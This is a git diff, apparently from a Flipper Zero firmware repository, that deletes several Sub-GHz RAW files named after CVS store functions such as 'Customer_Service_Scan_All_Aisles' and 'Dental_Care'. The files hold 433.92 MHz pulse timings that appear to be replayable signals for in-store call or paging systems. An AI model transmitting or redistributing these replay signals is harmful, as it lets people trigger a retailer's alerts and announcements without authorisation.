-1508 820 -1504 788 -1500 828 -1504 784 -740 1588 -1508 780 -740 1588 -1508 780 -740 1588 -1504 788 -740 1584 -1508 784 -744 1580 -4588 792 -748 1560 -1516 796 -740 1560 -1516 832 -744 1544 -744 1584 -736 1552 -740 1588 -740 1552 -740 1588 -736 1552 -740 1588 -744 1548 -740 1588 -736 1552 -740 1584 -740 1548 -740 1588 -740 1548 -740 1584 -740 1552 -740 1588 -736 1548 -744 1580 -1504 784 -1500 828 -1504 780 -1508 820 -1504 784 -1496 836 -1500 784 -740 1588 -1508 784 -740 1584 -1500 788 -736 1588 -1508 780 -740 1592 -1496 788 -740 1580 -4588 788 -748 1560 -1512 792 -748 1556 -1516 828 -740 1552 -740 1588 -740 1552 -732 1588 -740 1548 -740 1588 -744 1544 -736 1592 -740 1548 -740 1588 -736 1552 -736 1592 -736 1552 -736 1592 -740 1548 -736 1592 -740 1548 -740 1584 -744 1548 -744 1580 -1500 792 -1500 820 -1504 784 -1508 824 -1504 780 -1504 832 -1504 780 -744 1584 -1504 784 -744 1584 -1504 784 -744 1584 -1504 784 -744 1584 -1504 784 -740 1580 -4588 792 -748 1560 -1516 788 -748 1560 -1512 -RAW_Data: 832 -736 1552 -744 1588 -732 1552 -744 1588 -740 1548 -736 1588 -740 1556 -740 1584 -744 1544 -740 1584 -740 1548 -744 1584 -740 1552 -736 1588 -736 1552 -740 1584 -740 1552 -744 1584 -740 1548 -744 1584 -1500 784 -1500 828 -1500 788 -1504 820 -1504 788 -1500 824 -1504 784 -740 1588 -1508 780 -740 1588 -1500 788 -740 1584 -1504 784 -740 1588 -1500 788 -740 1584 -4588 788 -744 1560 -1516 792 -748 1556 -1516 832 -744 1544 -744 1584 -740 1548 -736 1592 -736 1552 -740 1592 -740 1548 -736 1588 -740 1552 -740 1584 -748 1544 -744 1588 -736 1544 -744 1584 -740 1556 -740 1584 -744 1544 -740 1592 -736 1552 -740 1584 -1504 784 -1504 824 -1504 780 -1504 824 -1508 780 -1508 824 -1504 784 -740 1588 -1504 784 -744 1580 -1504 788 -740 1584 -1500 788 -740 1588 -1504 784 -736 1584 -4588 792 -748 1556 -1512 796 -744 1560 -1512 836 -736 1548 -744 1584 -744 1544 -740 1588 -744 1544 -744 1584 -740 1548 -740 1592 -736 1552 -740 1588 -732 1556 -732 1592 -740 1548 -740 1588 -740 1552 -740 1584 -744 1552 -740 1584 -736 1556 -736 1588 -1504 780 -1508 820 -1504 792 -1496 828 -1500 788 -1500 832 -1504 780 -740 1592 -1504 784 -736 1592 -1500 788 -736 1592 -1500 788 -740 1588 -1500 788 -740 1580 -4584 796 -744 1560 -1516 788 -752 1556 -1516 832 -740 1548 -744 1584 -740 1552 -740 1588 -740 1552 -736 1588 -740 1548 -740 1588 -740 1548 -744 1584 -740 1552 -740 1588 -744 1544 -744 1584 -744 1548 -740 1588 -740 1548 -736 1596 -736 1548 -740 1592 -1504 784 -1500 828 -1500 788 -1500 824 -1500 788 -1508 824 -1500 792 -740 1584 -1504 784 -740 1588 -1508 784 -740 1584 -1504 788 -740 1588 -1504 788 -740 1560 -15964 diff --git a/assets/resources/subghz/Stores/CVS/Customer_Service_Scan_All_Aisles.sub b/assets/resources/subghz/Stores/CVS/Customer_Service_Scan_All_Aisles.sub deleted file mode 100644 index 5f0ead56c..000000000 --- a/assets/resources/subghz/Stores/CVS/Customer_Service_Scan_All_Aisles.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 796 -752 1552 -1520 780 -752 1552 -1520 824 -748 1540 -748 1576 -748 1536 -748 1580 -748 1540 -748 1576 -748 1536 -748 1580 -744 1540 -748 1580 -748 1536 -752 1576 -748 1536 -748 1580 -748 1540 -748 1576 -748 1540 -748 1580 -748 1536 -752 1580 -1504 780 -748 1572 -1512 772 -1516 812 -1508 780 -1508 824 -1508 780 -744 1580 -1512 772 -748 1580 -1508 776 -752 1576 -1508 776 -748 1576 -1512 780 -740 1576 -4592 780 -756 1548 -1520 784 -752 1556 -1520 824 -748 1536 -748 1580 -744 1544 -744 1580 -748 1540 -748 1576 -752 1536 -748 1580 -748 1540 -748 1576 -748 1544 -748 1576 -752 1540 -748 1576 -752 1540 -744 1584 -748 1540 -744 1584 -748 1540 -744 1588 -1508 780 -748 1572 -1512 776 -1508 820 -1508 780 -1508 820 -1512 776 -752 1576 -1512 776 -748 1580 -1512 776 -748 1580 -1508 780 -748 1576 -1512 780 -748 1568 -4596 780 -756 1552 -1524 780 -756 1548 -1524 824 -748 1536 -752 1576 -752 1536 -748 1580 -748 1540 -748 1576 -748 1540 -752 1572 -752 1536 -752 1576 -748 1540 -748 1576 -752 1536 -756 1572 -748 1540 -752 1572 -752 1540 -752 1576 -752 1536 -748 1580 -1512 776 -752 1568 -1512 776 -1512 812 -1512 776 -1512 820 -1508 780 -748 1576 -1512 776 -748 1580 -1512 776 -748 1580 -1512 776 -748 1580 -1512 776 -748 1572 -4596 780 -756 1552 -1520 784 -752 1552 -1524 820 -752 1540 -752 1572 -752 1536 -748 1580 -748 1540 -748 1576 -748 1540 -748 1580 -748 1540 -748 1576 -748 1540 -748 1576 -748 1540 -752 1576 -748 1540 -748 1580 -744 1544 -748 1580 -748 1540 -744 1588 -1508 776 -748 1576 -1508 780 -1512 812 -1512 776 -1512 820 -1512 776 -748 1576 -1516 772 -748 1580 -1508 776 -752 1576 -1512 776 -748 1576 -1516 772 -748 1576 -4592 780 -756 1548 -1524 780 -760 1548 -1524 824 -748 1540 -752 1576 -748 1540 -748 1576 -752 1536 -756 1572 -752 1536 -752 1572 -752 1536 -752 1576 -748 1536 -752 1576 -752 1536 -748 1576 -752 1536 -748 1576 -752 1536 -752 1572 -752 1536 -756 1572 -1512 772 -752 1568 -1516 772 -1512 812 -1512 772 -1516 816 -1512 776 -748 1576 -1512 776 -748 1576 -1516 772 -752 1572 -1516 772 -752 1576 -1512 772 -752 1568 -4592 784 -756 1544 -1528 776 -760 1548 -1524 816 -756 1532 -752 1572 -756 1536 -748 1572 -752 1540 -748 1576 -752 1536 -752 1576 -756 1532 -752 1572 -756 1532 -752 1576 -752 1532 -752 1572 -756 1536 -756 1568 -752 1536 -752 1576 -756 1532 -752 1576 -1520 768 -760 1564 -1512 772 -1516 812 -1516 772 -1516 812 -1516 772 -756 1568 -1520 768 -752 1572 -1520 768 -756 1572 -1516 768 -756 1572 -1520 768 -756 1564 -4600 772 -764 1544 -1528 776 -760 1544 -1528 -RAW_Data: 816 -752 1536 -752 1572 -752 1532 -756 1572 -756 1532 -752 1572 -756 1532 -756 1572 -756 1532 -756 1568 -752 1536 -752 1572 -752 1536 -752 1572 -756 1532 -756 1568 -756 1532 -756 1568 -756 1532 -756 1576 -1520 764 -756 1564 -1520 768 -1520 804 -1520 768 -1516 816 -1516 768 -756 1572 -1516 768 -756 1572 -1516 768 -756 1572 -1516 768 -760 1568 -1516 768 -756 1564 -4600 772 -764 1540 -1532 772 -764 1540 -1532 816 -756 1528 -760 1568 -760 1528 -756 1572 -752 1532 -756 1572 -756 1528 -756 1572 -756 1532 -760 1564 -760 1528 -756 1572 -756 1532 -756 1568 -756 1528 -760 1568 -756 1528 -760 1568 -756 1532 -756 1572 -1516 768 -756 1564 -1516 768 -1516 808 -1520 768 -1516 812 -1516 768 -756 1568 -1516 768 -760 1564 -1520 768 -756 1568 -1520 768 -756 1568 -1516 772 -756 1564 -4600 772 -764 1540 -1532 772 -764 1540 -1532 812 -756 1532 -756 1568 -756 1532 -756 1568 -756 1532 -756 1568 -756 1532 -756 1572 -752 1532 -756 1568 -760 1528 -756 1568 -756 1532 -756 1568 -756 1528 -756 1568 -760 1528 -756 1572 -756 1528 -756 1572 -1524 764 -756 1564 -1520 768 -1516 808 -1520 764 -1520 812 -1516 768 -756 1572 -1516 768 -756 1568 -1520 768 -756 1568 -1520 768 -760 1564 -1520 768 -760 1560 -4600 772 -768 1536 -1532 772 -764 1540 -1532 812 -756 1532 -756 1568 -760 1528 -756 1568 -760 1528 -760 1564 -756 1532 -756 1568 -760 1528 -760 1568 -756 1532 -756 1568 -760 1528 -756 1568 -760 1528 -756 1568 -756 1532 -756 1568 -760 1528 -760 1568 -1520 764 -760 1560 -1524 764 -1520 804 -1520 768 -1520 808 -1520 768 -760 1564 -1520 768 -756 1568 -1520 768 -760 1568 -1520 764 -760 1568 -1516 768 -760 1540 -15884 diff --git a/assets/resources/subghz/Stores/CVS/Dental_Care.sub b/assets/resources/subghz/Stores/CVS/Dental_Care.sub deleted file mode 100644 index 02cb7046e..000000000 --- a/assets/resources/subghz/Stores/CVS/Dental_Care.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -748 1556 -1512 796 -744 1560 -1512 832 -736 1548 -744 1584 -736 1548 -740 1588 -740 1548 -740 1588 -736 1548 -740 1588 -740 1548 -740 1584 -744 1544 -736 1592 -740 1544 -740 1588 -744 1544 -740 1588 -740 1544 -740 1588 -740 1544 -744 1588 -1504 788 -736 1584 -1508 780 -736 1592 -1500 784 -740 1588 -1504 784 -744 1580 -1504 788 -736 1580 -1504 788 -1500 828 -1500 792 -736 1588 -1508 780 -736 1584 -4588 788 -752 1556 -1516 788 -748 1560 -1512 832 -740 1548 -736 1592 -740 1548 -740 1584 -740 1552 -740 1584 -740 1552 -740 1584 -740 1548 -740 1588 -744 1544 -744 1588 -736 1548 -740 1592 -740 1548 -740 1588 -736 1556 -740 1584 -740 1552 -736 1592 -1500 788 -736 1588 -1504 784 -744 1588 -1500 788 -740 1584 -1500 788 -740 1588 -1504 780 -736 1584 -1508 780 -1504 832 -1500 792 -736 1588 -1500 788 -736 1584 -4592 788 -752 1556 -1516 792 -744 1560 -1512 832 -744 1548 -740 1584 -740 1552 -740 1588 -736 1552 -740 1588 -740 1548 -740 1588 -744 1544 -740 1588 -740 1548 -740 1588 -740 1552 -740 1584 -740 1552 -744 1580 -740 1552 -740 1588 -740 1548 -740 1596 -1500 784 -744 1584 -1500 792 -740 1584 -1508 780 -740 1592 -1500 784 -740 1588 -1500 788 -744 1580 -1500 788 -1504 832 -1500 784 -740 1588 -1500 792 -740 1580 -4588 792 -748 1564 -1512 788 -748 1564 -1512 832 -744 1544 -740 1592 -740 1548 -744 1580 -740 1552 -744 1584 -740 1552 -740 1584 -740 1548 -740 1592 -740 1544 -744 1588 -740 1552 -740 1584 -744 1548 -740 1584 -740 1552 -744 1584 -740 1548 -740 1596 -1500 784 -744 1584 -1504 788 -744 1584 -1504 784 -740 1592 -1500 784 -740 1588 -1500 788 -744 1576 -1504 788 -1504 828 -1500 788 -740 1588 -1504 784 -744 1580 -4584 792 -744 1560 -1516 792 -748 1556 -1512 836 -740 1548 -744 1584 -740 1552 -740 1584 -744 1544 -740 1592 -740 1548 -740 1588 -740 1548 -744 1584 -740 1548 -740 1588 -740 1552 -740 1584 -736 1556 -740 1584 -740 1548 -740 1588 -740 1548 -744 1588 -1504 784 -740 1588 -1508 780 -740 1588 -1500 788 -744 1584 -1508 784 -736 1592 -1504 784 -740 1584 -1504 784 -1504 828 -1504 784 -740 1588 -1504 784 -740 1580 -4592 788 -748 1560 -1516 788 -744 1560 -1516 832 -740 1548 -740 1588 -740 1548 -744 1580 -740 1552 -744 1584 -740 1552 -736 1588 -744 1544 -744 1584 -744 1544 -744 1588 -740 1544 -740 1592 -740 1548 -740 1588 -740 1548 -740 1588 -740 1552 -740 1588 -1504 784 -740 1588 -1508 780 -740 1588 -1504 788 -740 1588 -1500 788 -740 1588 -1508 780 -736 1588 -1504 780 -1504 828 -1504 788 -744 1576 -1512 780 -744 1580 -4588 792 -748 1560 -1512 792 -744 1564 -1516 -RAW_Data: 828 -744 1544 -740 1592 -736 1548 -740 1588 -740 1548 -740 1588 -740 1552 -744 1580 -740 1556 -736 1588 -740 1552 -740 1588 -740 1544 -740 1592 -744 1544 -740 1588 -740 1556 -740 1584 -740 1552 -740 1592 -1504 784 -740 1588 -1504 784 -744 1584 -1504 784 -744 1580 -1512 780 -740 1588 -1504 784 -740 1584 -1504 784 -1508 828 -1504 784 -736 1592 -1504 788 -740 1580 -4592 788 -744 1564 -1512 792 -744 1564 -1512 832 -736 1556 -736 1588 -744 1548 -744 1584 -740 1548 -740 1592 -740 1544 -744 1584 -744 1548 -744 1584 -740 1548 -744 1588 -744 1544 -740 1592 -740 1548 -740 1588 -740 1548 -744 1584 -740 1552 -740 1596 -1500 784 -740 1588 -1504 788 -736 1588 -1504 788 -736 1588 -1508 780 -740 1592 -1504 784 -744 1580 -1500 792 -1500 832 -1504 788 -736 1588 -1504 788 -740 1580 -4596 792 -744 1560 -1520 792 -744 1564 -1516 828 -744 1548 -740 1588 -744 1548 -744 1584 -740 1556 -736 1588 -744 1548 -740 1588 -740 1552 -744 1584 -740 1552 -744 1584 -740 1548 -744 1588 -740 1548 -740 1592 -736 1556 -740 1588 -736 1556 -740 1592 -1504 784 -740 1588 -1504 788 -740 1588 -1504 784 -740 1588 -1504 788 -744 1580 -1512 780 -740 1584 -1504 788 -1504 828 -1508 780 -744 1588 -1504 784 -744 1580 -4588 792 -744 1564 -1516 788 -752 1560 -1516 832 -740 1544 -740 1592 -740 1552 -736 1588 -740 1552 -744 1588 -744 1548 -740 1588 -740 1556 -740 1584 -740 1552 -740 1588 -748 1544 -744 1584 -748 1548 -740 1592 -736 1548 -744 1588 -740 1552 -744 1588 -1508 784 -744 1584 -1504 792 -736 1588 -1508 784 -740 1588 -1508 788 -740 1584 -1508 784 -740 1584 -1504 784 -1508 824 -1508 784 -736 1592 -1504 788 -740 1564 -15964 diff --git a/assets/resources/subghz/Stores/CVS/Deodorants.sub b/assets/resources/subghz/Stores/CVS/Deodorants.sub deleted file mode 100644 index c74546e5b..000000000 --- a/assets/resources/subghz/Stores/CVS/Deodorants.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1556 -1512 796 -748 1552 -1512 832 -740 1548 -736 1588 -740 1544 -740 1588 -740 1552 -736 1588 -740 1548 -740 1588 -740 1548 -740 1584 -744 1544 -744 1588 -736 1548 -740 1584 -740 1548 -740 1584 -740 1548 -744 1588 -740 1548 -740 1584 -1504 784 -1500 824 -1504 784 -1504 824 -1504 784 -1500 820 -1504 784 -1504 824 -1500 784 -1500 824 -1500 784 -1504 832 -1504 784 -740 1584 -1504 784 -740 1580 -4592 792 -740 1564 -1516 792 -744 1560 -1512 832 -744 1548 -736 1588 -740 1548 -740 1584 -744 1548 -744 1584 -740 1548 -740 1584 -744 1552 -736 1588 -740 1548 -740 1584 -740 1548 -736 1588 -744 1544 -744 1588 -740 1548 -740 1584 -744 1548 -740 1584 -1504 784 -1500 828 -1500 784 -1504 824 -1500 788 -1500 824 -1500 788 -1504 824 -1496 788 -1504 824 -1500 788 -1500 828 -1508 784 -740 1584 -1504 784 -740 1580 -4588 788 -752 1556 -1512 792 -748 1560 -1520 824 -744 1548 -736 1588 -744 1544 -740 1588 -740 1552 -740 1584 -744 1548 -732 1592 -740 1548 -740 1588 -740 1548 -744 1584 -740 1552 -740 1588 -740 1548 -740 1588 -740 1552 -736 1588 -736 1552 -740 1584 -1504 788 -1500 824 -1504 784 -1504 820 -1504 784 -1504 824 -1504 784 -1500 824 -1504 784 -1504 824 -1500 784 -1504 828 -1500 788 -740 1584 -1504 788 -736 1588 -4584 792 -744 1564 -1508 796 -744 1564 -1508 836 -740 1548 -740 1588 -736 1548 -740 1588 -740 1548 -740 1588 -740 1552 -740 1584 -744 1548 -736 1592 -736 1552 -740 1584 -740 1548 -740 1584 -740 1548 -744 1584 -740 1548 -744 1588 -740 1548 -744 1584 -1500 788 -1504 824 -1504 784 -1500 824 -1504 784 -1504 820 -1508 784 -1500 824 -1504 788 -1496 828 -1504 784 -1504 824 -1504 784 -740 1588 -1504 780 -744 1576 -4584 792 -748 1556 -1520 784 -744 1564 -1516 828 -740 1548 -740 1588 -736 1548 -736 1588 -740 1548 -740 1584 -744 1548 -744 1584 -740 1544 -740 1588 -736 1552 -736 1588 -740 1548 -740 1588 -744 1544 -744 1584 -744 1544 -740 1588 -736 1552 -736 1588 -1504 784 -1500 824 -1504 784 -1504 820 -1504 784 -1504 824 -1500 788 -1504 820 -1504 784 -1500 824 -1504 784 -1504 828 -1504 780 -740 1588 -1504 784 -736 1584 -4592 784 -748 1560 -1520 788 -744 1560 -1512 836 -736 1548 -744 1584 -740 1548 -740 1588 -740 1548 -736 1592 -736 1552 -736 1588 -744 1544 -740 1592 -740 1548 -740 1588 -744 1544 -744 1584 -744 1548 -740 1584 -740 1548 -740 1588 -736 1552 -740 1588 -1500 788 -1504 820 -1504 788 -1504 820 -1508 784 -1504 824 -1504 788 -1504 820 -1504 784 -1504 820 -1504 784 -1504 824 -1508 784 -740 1588 -1504 784 -736 1584 -4588 788 -752 1556 -1516 788 -748 1560 -1516 -RAW_Data: 824 -748 1544 -744 1584 -740 1548 -744 1584 -744 1548 -740 1588 -740 1548 -744 1584 -740 1548 -744 1580 -744 1548 -740 1584 -740 1548 -740 1588 -736 1552 -740 1584 -744 1548 -740 1584 -744 1548 -740 1580 -1508 780 -1504 824 -1500 784 -1508 820 -1504 784 -1504 820 -1504 784 -1500 824 -1504 784 -1508 820 -1504 784 -1504 828 -1504 780 -744 1584 -1504 784 -740 1584 -4592 788 -744 1560 -1520 784 -748 1564 -1512 832 -744 1544 -740 1588 -744 1544 -740 1588 -744 1548 -736 1588 -740 1548 -740 1584 -740 1548 -740 1588 -736 1552 -740 1584 -744 1548 -740 1588 -744 1544 -744 1584 -744 1552 -740 1584 -740 1548 -740 1584 -1500 788 -1500 828 -1500 784 -1504 820 -1504 784 -1504 820 -1508 784 -1504 824 -1504 784 -1500 824 -1508 780 -1508 824 -1504 784 -740 1584 -1508 780 -744 1580 -4592 784 -748 1560 -1516 788 -744 1560 -1512 832 -736 1552 -740 1584 -744 1544 -740 1588 -740 1552 -736 1588 -736 1552 -740 1588 -740 1548 -740 1588 -744 1544 -744 1584 -744 1544 -740 1588 -740 1552 -736 1588 -744 1548 -740 1584 -748 1548 -736 1588 -1500 788 -1500 824 -1504 784 -1508 820 -1504 784 -1500 828 -1500 780 -1508 820 -1504 784 -1504 816 -1512 780 -1504 828 -1500 788 -740 1588 -1500 784 -744 1580 -4580 796 -744 1564 -1516 784 -748 1560 -1516 832 -740 1548 -736 1592 -736 1548 -744 1584 -740 1548 -740 1588 -740 1548 -736 1592 -740 1548 -744 1580 -744 1548 -740 1588 -740 1548 -740 1588 -736 1552 -740 1584 -744 1544 -744 1584 -744 1544 -740 1584 -1508 780 -1508 820 -1504 784 -1500 828 -1500 784 -1504 824 -1504 784 -1504 824 -1504 784 -1504 824 -1504 784 -1508 824 -1504 784 -740 1588 -1504 784 -740 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Diet_and_Nutrition_Department.sub b/assets/resources/subghz/Stores/CVS/Diet_and_Nutrition_Department.sub deleted file mode 100644 index 270a3909f..000000000 --- a/assets/resources/subghz/Stores/CVS/Diet_and_Nutrition_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -748 1560 -1516 788 -744 1560 -1512 832 -740 1544 -740 1584 -740 1552 -736 1584 -744 1540 -744 1584 -740 1548 -740 1588 -736 1544 -744 1588 -740 1544 -740 1588 -740 1548 -740 1588 -736 1548 -740 1588 -744 1544 -740 1588 -740 1548 -744 1584 -1504 780 -1508 820 -1504 784 -1500 828 -1500 788 -740 1580 -1508 784 -1500 832 -1504 780 -744 1584 -1508 784 -736 1584 -1508 784 -736 1588 -1504 784 -736 1584 -4588 788 -752 1556 -1516 788 -752 1556 -1512 832 -740 1548 -740 1588 -744 1544 -740 1584 -744 1548 -744 1584 -740 1552 -740 1584 -744 1544 -748 1580 -744 1548 -740 1584 -744 1548 -740 1584 -748 1548 -736 1588 -744 1548 -736 1588 -740 1548 -740 1584 -1508 784 -1500 820 -1508 784 -1504 828 -1500 784 -744 1584 -1504 780 -1504 828 -1504 788 -740 1584 -1504 788 -736 1584 -1508 784 -740 1588 -1500 788 -740 1576 -4592 788 -752 1556 -1512 792 -752 1560 -1512 828 -744 1548 -740 1588 -744 1548 -740 1584 -740 1552 -740 1584 -744 1548 -740 1588 -744 1548 -736 1588 -740 1548 -744 1584 -744 1544 -744 1588 -740 1548 -744 1584 -736 1548 -748 1584 -740 1548 -744 1584 -1500 784 -1504 824 -1508 780 -1504 828 -1508 784 -740 1580 -1504 788 -1500 828 -1504 784 -744 1588 -1504 784 -744 1584 -1504 784 -744 1584 -1508 780 -744 1576 -4592 788 -748 1556 -1520 788 -744 1560 -1520 824 -744 1544 -744 1584 -740 1552 -744 1584 -740 1548 -744 1584 -740 1548 -744 1584 -740 1544 -748 1580 -740 1548 -744 1584 -740 1548 -744 1588 -740 1548 -744 1584 -736 1548 -744 1584 -740 1544 -748 1580 -1508 780 -1504 824 -1504 780 -1504 828 -1508 780 -744 1576 -1508 784 -1504 820 -1508 784 -740 1588 -1504 784 -744 1584 -1504 780 -744 1584 -1508 776 -748 1576 -4592 784 -752 1560 -1512 792 -748 1556 -1516 828 -744 1540 -744 1588 -740 1548 -744 1584 -736 1548 -744 1588 -740 1548 -736 1588 -740 1552 -736 1588 -740 1548 -740 1588 -740 1544 -744 1588 -740 1548 -736 1592 -740 1548 -740 1588 -736 1552 -744 1580 -1508 780 -1508 820 -1508 780 -1504 824 -1508 784 -740 1580 -1504 784 -1500 828 -1504 788 -740 1584 -1504 784 -740 1584 -1504 788 -740 1580 -1508 788 -736 1580 -4588 788 -748 1556 -1516 792 -744 1560 -1516 824 -748 1544 -740 1584 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -744 1580 -740 1548 -740 1584 -748 1544 -744 1580 -744 1544 -740 1588 -736 1548 -748 1588 -736 1548 -748 1584 -736 1552 -744 1580 -1504 784 -1508 820 -1504 784 -1504 828 -1500 788 -740 1580 -1504 784 -1500 832 -1508 780 -740 1584 -1504 788 -740 1584 -1504 788 -736 1592 -1500 788 -736 1584 -4588 792 -748 1556 -1516 788 -748 1556 -1520 -RAW_Data: 828 -740 1544 -748 1584 -740 1548 -740 1584 -740 1548 -740 1584 -748 1548 -740 1580 -744 1548 -744 1580 -744 1544 -744 1584 -740 1548 -744 1584 -740 1548 -740 1584 -748 1544 -736 1588 -744 1548 -744 1580 -1504 784 -1500 824 -1504 784 -1504 828 -1504 784 -740 1580 -1504 788 -1504 824 -1508 780 -740 1588 -1504 784 -736 1592 -1500 784 -744 1580 -1504 784 -740 1584 -4584 788 -748 1560 -1516 788 -748 1556 -1516 828 -744 1544 -740 1584 -744 1544 -744 1584 -740 1548 -744 1584 -740 1544 -748 1580 -744 1544 -744 1584 -744 1544 -736 1588 -744 1544 -744 1584 -736 1548 -744 1584 -740 1548 -740 1588 -740 1548 -740 1584 -1504 788 -1504 816 -1504 788 -1504 824 -1508 780 -740 1580 -1504 788 -1504 824 -1508 780 -744 1584 -1508 776 -744 1588 -1504 784 -744 1584 -1504 784 -744 1580 -4588 788 -748 1556 -1516 788 -748 1564 -1512 832 -744 1548 -736 1588 -740 1548 -740 1588 -736 1548 -744 1588 -740 1544 -748 1584 -740 1544 -748 1580 -744 1544 -744 1584 -744 1544 -740 1584 -744 1552 -736 1588 -740 1548 -744 1584 -740 1544 -748 1580 -1504 780 -1512 820 -1500 784 -1504 828 -1508 780 -744 1584 -1504 780 -1504 828 -1504 788 -736 1588 -1504 788 -736 1584 -1508 784 -736 1588 -1504 780 -744 1580 -4584 792 -744 1560 -1516 788 -748 1556 -1516 828 -744 1544 -748 1580 -740 1552 -744 1580 -740 1548 -748 1588 -736 1548 -744 1584 -744 1544 -736 1584 -748 1544 -744 1584 -744 1544 -740 1588 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -740 1588 -1504 784 -1504 824 -1504 780 -1508 828 -1504 784 -744 1580 -1500 784 -1504 828 -1504 788 -736 1588 -1504 784 -740 1588 -1504 788 -740 1584 -1504 784 -744 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Ding_1.sub b/assets/resources/subghz/Stores/CVS/Ding_1.sub deleted file mode 100644 index fb10a95a7..000000000 --- a/assets/resources/subghz/Stores/CVS/Ding_1.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1552 -1512 792 -748 1556 -1516 824 -740 1548 -740 1584 -736 1552 -740 1584 -744 1544 -740 1588 -732 1552 -740 1580 -748 1544 -736 1592 -736 1548 -736 1584 -744 1544 -740 1584 -740 1548 -740 1584 -744 1544 -744 1584 -736 1548 -740 1584 -1504 784 -1504 824 -1504 780 -744 1584 -1504 784 -736 1588 -1500 784 -740 1588 -1504 784 -740 1580 -1508 780 -740 1584 -1504 784 -740 1584 -1500 788 -736 1584 -4584 788 -748 1560 -1512 788 -744 1560 -1512 832 -740 1548 -736 1588 -740 1544 -744 1584 -740 1548 -736 1588 -744 1544 -740 1584 -740 1552 -732 1588 -744 1544 -740 1584 -740 1548 -740 1584 -744 1544 -744 1580 -740 1548 -740 1584 -740 1548 -744 1580 -1504 784 -1504 824 -1508 780 -740 1584 -1508 780 -740 1584 -1504 784 -736 1588 -1508 780 -740 1592 -1500 780 -744 1580 -1508 784 -736 1588 -1500 784 -744 1576 -4588 788 -748 1556 -1512 792 -744 1556 -1516 832 -736 1548 -736 1588 -740 1544 -744 1584 -736 1548 -736 1588 -740 1544 -744 1580 -740 1548 -740 1584 -736 1552 -736 1592 -736 1544 -744 1584 -740 1544 -740 1588 -736 1548 -740 1584 -744 1544 -740 1584 -1504 784 -1500 828 -1504 784 -736 1588 -1504 784 -740 1584 -1504 784 -736 1588 -1504 780 -740 1588 -1504 784 -740 1584 -1504 784 -736 1588 -1500 788 -740 1576 -4588 792 -744 1556 -1512 788 -748 1556 -1516 824 -740 1552 -736 1588 -740 1548 -740 1584 -736 1552 -740 1584 -736 1548 -744 1580 -740 1544 -740 1584 -740 1548 -736 1588 -740 1544 -744 1584 -740 1544 -740 1588 -740 1548 -740 1584 -744 1544 -740 1584 -1500 788 -1500 828 -1504 784 -736 1588 -1500 788 -740 1584 -1500 788 -736 1588 -1504 784 -736 1592 -1496 784 -740 1588 -1504 780 -740 1588 -1496 788 -744 1572 -4588 792 -740 1560 -1512 792 -744 1560 -1512 832 -736 1548 -744 1584 -740 1548 -736 1588 -736 1552 -740 1584 -744 1544 -740 1588 -736 1548 -744 1584 -740 1544 -740 1592 -732 1552 -740 1584 -744 1544 -740 1588 -740 1548 -740 1584 -740 1548 -744 1584 -1500 784 -1500 832 -1504 784 -744 1580 -1504 784 -736 1592 -1496 788 -740 1584 -1504 788 -740 1580 -1508 784 -740 1588 -1496 788 -744 1580 -1504 788 -736 1584 -4584 788 -744 1564 -1508 792 -744 1564 -1512 836 -740 1544 -740 1588 -736 1552 -736 1588 -744 1544 -740 1592 -732 1552 -744 1580 -740 1548 -740 1588 -740 1548 -740 1588 -736 1556 -736 1588 -740 1544 -744 1588 -736 1552 -744 1580 -744 1552 -732 1588 -1500 788 -1508 824 -1500 788 -740 1588 -1500 784 -744 1584 -1504 784 -736 1592 -1504 780 -744 1588 -1500 784 -740 1584 -1508 784 -736 1588 -1496 788 -744 1576 -4588 792 -744 1560 -1512 792 -744 1564 -1516 -RAW_Data: 828 -740 1548 -744 1580 -740 1552 -740 1588 -740 1548 -744 1584 -740 1548 -740 1588 -736 1552 -744 1584 -744 1548 -740 1588 -740 1548 -740 1588 -740 1548 -744 1584 -744 1544 -744 1584 -744 1544 -744 1584 -1500 788 -1500 832 -1500 784 -744 1584 -1504 784 -740 1592 -1500 784 -740 1588 -1504 784 -740 1588 -1504 784 -740 1588 -1500 784 -748 1584 -1500 788 -740 1580 -4588 792 -744 1560 -1516 792 -748 1556 -1512 836 -744 1548 -736 1588 -740 1548 -744 1588 -736 1548 -740 1588 -740 1548 -740 1588 -740 1548 -736 1588 -744 1552 -736 1584 -744 1548 -740 1584 -748 1548 -736 1588 -740 1548 -736 1592 -740 1548 -736 1588 -1504 784 -1504 832 -1504 780 -744 1584 -1508 780 -744 1584 -1504 784 -744 1584 -1504 780 -744 1584 -1504 780 -744 1588 -1504 780 -744 1584 -1504 784 -744 1576 -4588 788 -748 1556 -1516 792 -748 1556 -1520 828 -740 1548 -740 1588 -744 1548 -736 1588 -740 1548 -740 1588 -736 1548 -740 1588 -740 1552 -736 1588 -740 1548 -744 1584 -744 1548 -736 1588 -740 1548 -740 1588 -740 1544 -744 1588 -740 1548 -740 1584 -1504 788 -1496 832 -1504 784 -736 1592 -1500 788 -736 1592 -1504 780 -740 1588 -1504 784 -740 1588 -1504 784 -740 1588 -1504 784 -740 1588 -1500 792 -736 1580 -4588 796 -744 1564 -1512 788 -748 1556 -1516 832 -740 1548 -740 1588 -740 1548 -736 1588 -740 1548 -744 1584 -740 1548 -740 1588 -744 1544 -740 1588 -744 1544 -740 1588 -740 1552 -740 1584 -740 1552 -736 1592 